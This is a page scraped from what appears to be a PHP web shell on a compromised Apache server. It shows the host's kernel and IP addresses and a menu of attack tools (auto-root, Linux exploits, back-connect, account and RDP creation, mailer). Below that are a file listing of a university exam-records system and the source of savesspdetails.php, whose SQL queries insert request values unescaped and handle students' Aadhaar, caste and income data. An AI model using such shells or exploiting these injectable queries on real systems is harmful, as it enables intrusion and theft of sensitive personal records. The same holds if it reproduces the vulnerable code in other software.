Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.222.182.226
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
reva /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
ECHblk.php
10.99
KB
-rwxr-xr-x
Ext-MarkEntry-Setup.php
18.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
25.32
KB
-rwxr-xr-x
MarkEntry-Setup03062016.php
20.02
KB
-rwxr-xr-x
MarkEntry-Setup20092016.php
20.57
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
MarkEntry-Setup_28102014.php
22.99
KB
-rwxr-xr-x
PracticalIndent.php
5.8
KB
-rw-rw-r--
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
8.27
KB
-rwxr-xr-x
absent_entry_setup_old.php
7.61
KB
-rwxr-xr-x
ack_exam_app_form.php
12.09
KB
-rwxr-xr-x
ack_exam_app_form_07032014.php
9
KB
-rwxr-xr-x
ack_exam_app_form_14032014.php
9.6
KB
-rwxr-xr-x
ack_report.php
2.75
KB
-rw-rw-r--
ack_rv_rt_application.php
7.57
KB
-rwxr-xr-x
ack_rv_rt_application_5days.ph...
7.41
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admorder_bnu.php
14.78
KB
-rw-rw-r--
ansbookentry.php
6.33
KB
-rw-r--r--
attendance.php
6.13
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
3.42
KB
-rwxr-xr-x
backup_1.php
1.86
KB
-rw-rw-r--
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
bundle_dispatch.php
2.84
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
43.65
KB
-rwxr-xr-x
candidate-entry1.php
37
KB
-rwxr-xr-x
candidate-entry24082012.php
33.21
KB
-rwxr-xr-x
candidate-entry_220413.php
33.21
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
3.19
KB
-rwxr-xr-x
challan_entries.php
13.34
KB
-rwxr-xr-x
challan_preparation.php
10.28
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
college.php
4.61
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_degree_status.php
5.86
KB
-rwxr-xr-x
connect.php
1.63
KB
-rwxr-xr-x
copomarksentry.php
10.56
KB
-rw-r--r--
copomarksexternal.php
9.13
KB
-rw-r--r--
coporeport.php
4.46
KB
-rw-r--r--
coutput.php
1.76
KB
-rwxr-xr-x
coutput_11112019.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
5.22
KB
-rw-rw-r--
createclassattend.php
14.7
KB
-rw-rw-r--
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
4.86
KB
-rwxr-xr-x
degree.php
6.51
KB
-rwxr-xr-x
degree1.php
6.78
KB
-rwxr-xr-x
display_details_in_grid.php
105.37
KB
-rwxr-xr-x
display_details_in_grid_240320...
98.86
KB
-rwxr-xr-x
display_details_in_grid_before...
98.71
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_old_26...
101.67
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
download_misc_files.php
3.3
KB
-rwxr-xr-x
download_misc_files_19062014.p...
3.25
KB
-rwxr-xr-x
download_photo.php
4.17
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_23.php
120
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rw-rw-r--
execute_query.php
2.5
KB
-rwxr-xr-x
execute_query27062012.php
2.51
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
ext_freeze_module_at_admin_col...
7.9
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.36
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.61
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
39.04
KB
-rwxr-xr-x
getdata110911.php
16.03
KB
-rwxr-xr-x
getdata27062012.php
16.8
KB
-rwxr-xr-x
getdata_22.php
32.9
KB
-rwxr-xr-x
getdata_24032015.php
20.96
KB
-rwxr-xr-x
getdata_bf_sub_corr.php
36.29
KB
-rwxr-xr-x
getdata_new.php
34
KB
-rwxr-xr-x
getdata_old.php
28.7
KB
-rwxr-xr-x
getdata_old_26062020.php
34
KB
-rwxr-xr-x
getfeeinformation.php
6.94
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.42
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
12.13
KB
-rwxr-xr-x
iaabsententry.php
3.1
KB
-rw-rw-r--
iaroomdeclaration.php
2.6
KB
-rwxr-xr-x
iatimetable.php
7.61
KB
-rw-r--r--
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
15.95
KB
-rwxr-xr-x
login.php_1
3.25
KB
-rwxr-xr-x
login27062012.php
2.85
KB
-rwxr-xr-x
login_03032015.php
3.6
KB
-rwxr-xr-x
login_18082017.php
5.56
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
markEntry-Setup2.php
21.93
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
980
B
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
103.02
KB
-rwxr-xr-x
mregistry24042015.php
55.01
KB
-rwxr-xr-x
mregistry_19102019.php
71.68
KB
-rwxr-xr-x
mregistry_before_subupdtostud_...
52.68
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
practical_marks_details.php
13.18
KB
-rwxr-xr-x
printexamform.php
11.54
KB
-rwxr-xr-x
prpendsubcnt.php
4.13
KB
-rw-r--r--
prsubcnt.php
2.68
KB
-rw-r--r--
qppattern.php
11.54
KB
-rw-r--r--
qptable_not_upd.php
1.5
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.91
KB
-rwxr-xr-x
room_allotment_19102019.php
7.21
KB
-rwxr-xr-x
room_allotment_datewise.php
17.08
KB
-rwxr-xr-x
room_allotment_datewise_bf_tt....
16.11
KB
-rwxr-xr-x
room_allotment_datewise_bkp.ph...
15.71
KB
-rwxr-xr-x
roomdeclaration.php
2.2
KB
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
savesspdetails.php
9.8
KB
-rw-rw-r--
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
studSubIdent.php
10.47
KB
-rw-rw-r--
student_entry.php
36.46
KB
-rwxr-xr-x
student_entry1307.php
37.71
KB
-rwxr-xr-x
student_entry27062012.php
30.47
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
subIAMarksEntry.php
9.81
KB
-rw-rw-r--
subjectList_display.php
11.01
KB
-rwxr-xr-x
subject_freshExam.php
32.37
KB
-rwxr-xr-x
subjectfreez.php
6.21
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
9.96
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
76.57
KB
-rwxr-xr-x
teachers.php
10.33
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.78
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rw-r--r--
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updateqpdet.php
5.33
KB
-rw-rw-r--
upload_studentPhoto.php
10.28
KB
-rwxr-xr-x
upload_studentPhoto02062015.ph...
11.58
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.94
KB
-rw-rw-r--
uploadcopofile.php
225
B
-rw-rw-r--
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.14
KB
-rwxr-xr-x
usersubj_identification.php
4.74
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : savesspdetails.php
<?php function savesspdetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $univcode = $aobj_context->mobj_data["univcode"]; $college_code = $_SESSION['collcode']; $regno = $aobj_context->mobj_data["regno"]; $degree = $aobj_context->mobj_data["degree"]; $aadharno = $aobj_context->mobj_data["aadharno"]; $gender = $aobj_context->mobj_data["gender"]; $studname = $aobj_context->mobj_data["studname"]; $sslcregno = $aobj_context->mobj_data["sslcregno"]; $sslcboard = $aobj_context->mobj_data["sslcboard"]; $pucregno = $aobj_context->mobj_data["pucregno"]; $pucboard = $aobj_context->mobj_data["pucboard"]; $fatheraadharno = $aobj_context->mobj_data["fatheraadharno"]; $fathername = $aobj_context->mobj_data["fathername"]; $motheraadharno = $aobj_context->mobj_data["motheraadharno"]; $mothername = $aobj_context->mobj_data["mothername"]; $income = $aobj_context->mobj_data["income"]; $caste = $aobj_context->mobj_data["caste"]; $pucpass = $aobj_context->mobj_data["pucpass"]; $sslcpass = $aobj_context->mobj_data["sslcpass"]; $sslcotherboard = $aobj_context->mobj_data["sslcotherboard"]; $pucotherboard = $aobj_context->mobj_data["pucotherboard"]; $sspstudid = $aobj_context->mobj_data["sspstudid"]; $satsid = $aobj_context->mobj_data["satsid"]; $save = $aobj_context->mobj_data["save"]; $fdegree = $aobj_context->mobj_data["fdegree"]; $fdescpn = $aobj_context->mobj_data["fdescpn"]; // if($save == 'Add'){ $query ="INSERT INTO `sspstud` (`FCOLLCODE`,`FREGNO`, `FDEGREE`,`FDESCPN`, `FSTUDAADHARNO`, `FSTUDNAME`,`FGENDER`, `FSSLCREGNO`, `FSSLCBOARDCODE`,`FSSLCBOARDNAME`, `FSSLCPASSYEAR`, `FPUCREGNO`, `FPUCBOARDCODE`, `FPUCBOARDNAME`, `FPUCPASSYEAR`, `FSATSID`, `FSSPSTUDID`, `FFATHERAADHAR`, `FFATHERNAME`, `FMOTHERAADHAR`, `FMOTHERNAME`, `FINCOMERDNO`, `FCASTERDNO`) VALUES('{$college_code}','{$regno}','{$fdegree}','{$fdescpn}','{$aadharno}','{$studname}','{$gender}','{$sslcregno}','{$sslcboard}','{$sslcotherboard}' ,'{$sslcpass}','{$pucregno}','{$pucboard}','{$pucotherboard}','{$pucpass}','{$satsid}','{$sspstudid}', '{$fatheraadharno}','{$fathername}','{$motheraadharno}','{$mothername}','{$income}','{$caste}') ON DUPLICATE KEY UPDATE FCOLLCODE = '{$college_code}', FREGNO = '{$regno}',FDEGREE = '{$fdegree}',FDESCPN = '{$fdescpn}', FSTUDAADHARNO = '{$aadharno}', FSTUDNAME = '{$studname}', FGENDER = '{$gender}', FSSLCREGNO = '{$sslcregno}', FSSLCBOARDCODE = '{$sslcboard}', FSSLCBOARDNAME = '{$sslcotherboard}', FSSLCPASSYEAR = '{$sslcpass}', FPUCREGNO = '{$pucregno}', FPUCBOARDCODE = '{$pucboard}', FPUCBOARDNAME = '{$pucotherboard}', FPUCPASSYEAR = '{$pucpass}', FSATSID = '{$satsid}', FSSPSTUDID = '{$sspstudid}', FFATHERAADHAR = '{$fatheraadharno}', FFATHERNAME = '{$fathername}', FMOTHERAADHAR = '{$motheraadharno}', FMOTHERNAME = '{$mothername}', FINCOMERDNO = '{$income}', FCASTERDNO = '{$caste}'"; $result=$aobj_context->mobj_db->Execute($query); if($result){ $arr['msg'] = 'Details Saved Successfully...!!'; echo $aobj_context->mobj_output->TOJSONEnvelope($arr,0,"success"); } else{ $arr['msg']="Please try later"; echo $aobj_context->mobj_output->TOJSONEnvelope($arr,-1,"failed"); } // }else{ // $query = "update sspstud // SET FCOLLCODE = '{$college_code}', FREGNO = '{$regno}',FDEGREE = '{$fdegree}',FDESCPN = '{$fdescpn}', FSTUDAADHARNO = '{$aadharno}', FSTUDNAME = '{$studname}', FGENDER = '{$gender}', // FSSLCREGNO = '{$sslcregno}', FSSLCBOARDCODE = '{$sslcboard}', FSSLCBOARDNAME = '{$sslcotherboard}', FSSLCPASSYEAR = '{$sslcpass}', // FPUCREGNO = '{$pucregno}', FPUCBOARDCODE = '{$pucboard}', FPUCBOARDNAME = '{$pucotherboard}', FPUCPASSYEAR = '{$pucpass}', // FSATSID = '{$satsid}', FSSPSTUDID = '{$sspstudid}', FFATHERAADHAR = '{$fatheraadharno}', FFATHERNAME = '{$fathername}', // FMOTHERAADHAR = '{$motheraadharno}', FMOTHERNAME = '{$mothername}', FINCOMERDNO = '{$income}', FCASTERDNO = '{$caste}' // where FREGNO = '{$regno}'"; // $result=$aobj_context->mobj_db->Execute($query); // if($result){ // $arr['msg'] = 'Updated Successfully...!!'; // echo $aobj_context->mobj_output->TOJSONEnvelope($arr,0,"success"); // } // else{ // $arr['msg']="Please try later"; // echo $aobj_context->mobj_output->TOJSONEnvelope($arr,-1,"failed"); // } } // var_dump($query); function loaddegreessp($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $univcode = $aobj_context->mobj_data["univcode"]; $regno = $aobj_context->mobj_data["regno"]; $college_code = $_SESSION['collcode']; $query ="SELECT s.fdegree,d.fdescpn FROM student s INNER JOIN degree d ON s.fdegree = d.fdegree WHERE s.fregno = '{$regno}' and fcollcode = '{$college_code}'"; // var_dump($query); // die(); $result=$aobj_context->mobj_db->GetRow($query); if(count($result) > 0){ echo $aobj_context->mobj_output->TOJSONEnvelope($result,0,"success"); } else{ $arr['msg']="Invalid Reg No."; echo $aobj_context->mobj_output->TOJSONEnvelope($arr,-1,"failed"); } } // function viewsspdetails($aobj_context) // { // $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); // $univcode = $aobj_context->mobj_data["univcode"]; // $regno = $aobj_context->mobj_data["regno"]; // $degree = $aobj_context->mobj_data["degree"]; // $query ="SELECT * FROM sspstud // where fregno = '{$regno}' "; // // var_dump($query); // // die(); // $result=$aobj_context->mobj_db->GetRow($query); // // var_dump($result); // // die(); // if(count($result) > 0){ // echo $aobj_context->mobj_output->TOJSONEnvelope($result,0,"success"); // } // else{ // $arr['msg']="No details found for this Reg No."; // echo $aobj_context->mobj_output->TOJSONEnvelope($arr,-1,"failed"); // } // } function loadallsspdeg($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $univcode = $aobj_context->mobj_data["univcode"]; $regno = $aobj_context->mobj_data["regno"]; $degree = $aobj_context->mobj_data["degree"]; $college_code = $_SESSION['collcode']; $query ="SELECT s.fdegree,concat(s.fdegree,' - ',d.fdescpn) as fdescpn FROM student s inner join degree d on s.fdegree = d.fdegree and d.fexamno = 'A' where s.fcollcode = '{$college_code}' group by s.fdegree"; // var_dump($query); // die(); $result=$aobj_context->mobj_db->GetAll($query); // var_dump($result); // die(); if(count($result) > 0){ echo $aobj_context->mobj_output->TOJSONEnvelope($result,0,"success"); } else{ $arr['msg']="No degree found"; echo $aobj_context->mobj_output->TOJSONEnvelope($arr,-1,"failed"); } } function getsspdetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $univcode = $aobj_context->mobj_data["univcode"]; $regfrom = $aobj_context->mobj_data["regfrom"]; $regto = $aobj_context->mobj_data["regto"]; $sppdegree = $aobj_context->mobj_data["sspdegree"]; $college_code = $_SESSION['collcode']; $query ="SELECT if(ifnull(sp.FREGNO,'') = '', s.fregno,sp.FREGNO) as FREGNO, if(ifnull(sp.FSTUDNAME,'') = '', s.fname,sp.FSTUDNAME) as FSTUDNAME, if(ifnull(sp.FSTUDAADHARNO,'') = '', ifnull(s.FAADHARNO,''),ifnull(sp.FSTUDAADHARNO,'')) as FSTUDAADHARNO, if(ifnull(sp.FFATHERNAME,'') = '', s.ffatname,sp.FFATHERNAME) as FFATHERNAME FROM student s left join sspstud sp on s.fregno = sp.fregno and s.fcollcode = sp.fcollcode where s.fdegree = '{$sppdegree}' and s.fregno between '{$regfrom}' and '{$regto}' and s.fcollcode = '{$college_code}'"; $result=$aobj_context->mobj_db->GetAll($query); if(count($result) > 0){ echo $aobj_context->mobj_output->TOJSONEnvelope($result,0,"success"); } else{ $arr['msg']="Details not found"; echo $aobj_context->mobj_output->TOJSONEnvelope($arr,-1,"failed"); } } function editsspdetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $univcode = $aobj_context->mobj_data["univcode"]; $regno = $aobj_context->mobj_data["regno"]; $sspdegree = $aobj_context->mobj_data["sspdegree"]; $query = "SELECT if(ifnull(sp.FREGNO,'') = '', s.fregno,sp.FREGNO) as FREGNO, if(ifnull(sp.FSTUDNAME,'') = '', s.fname,sp.FSTUDNAME) as FSTUDNAME, if(ifnull(sp.FSTUDAADHARNO,'') = '', s.FAADHARNO,sp.FSTUDAADHARNO) as FSTUDAADHARNO, if(ifnull(sp.FFATHERNAME,'') = '', s.ffatname,sp.FFATHERNAME) as FFATHERNAME, if(ifnull(sp.FMOTHERNAME,'') = '', s.fmotname,sp.FMOTHERNAME) as FMOTHERNAME, if(ifnull(sp.FGENDER,'') = '', s.FGENDER,sp.FGENDER) as FGENDER, s.FCOLLCODE, s.FDEGREE,d.FDESCPN, sp.FSSLCREGNO, FSSLCBOARDCODE,FSSLCBOARDNAME, FSSLCPASSYEAR, sp.FPUCREGNO, FPUCBOARDCODE, FPUCBOARDNAME, FPUCPASSYEAR, FSATSID, FSSPSTUDID, FFATHERAADHAR, FMOTHERAADHAR, FINCOMERDNO, FCASTERDNO FROM student s left join sspstud sp on s.fregno = sp.fregno and s.fcollcode = sp.fcollcode inner join degree d on s.fdegree = d.fdegree and d.fexamno = 'A' where s.fregno = '{$regno}'"; $result=$aobj_context->mobj_db->GetRow($query); //var_dump($query); //die(); if(count($result) > 0){ echo $aobj_context->mobj_output->TOJSONEnvelope($result,0,"success"); } else{ $arr['msg']="Failed to Load"; echo $aobj_context->mobj_output->TOJSONEnvelope($arr,-1,"failed"); } } ?>
Close
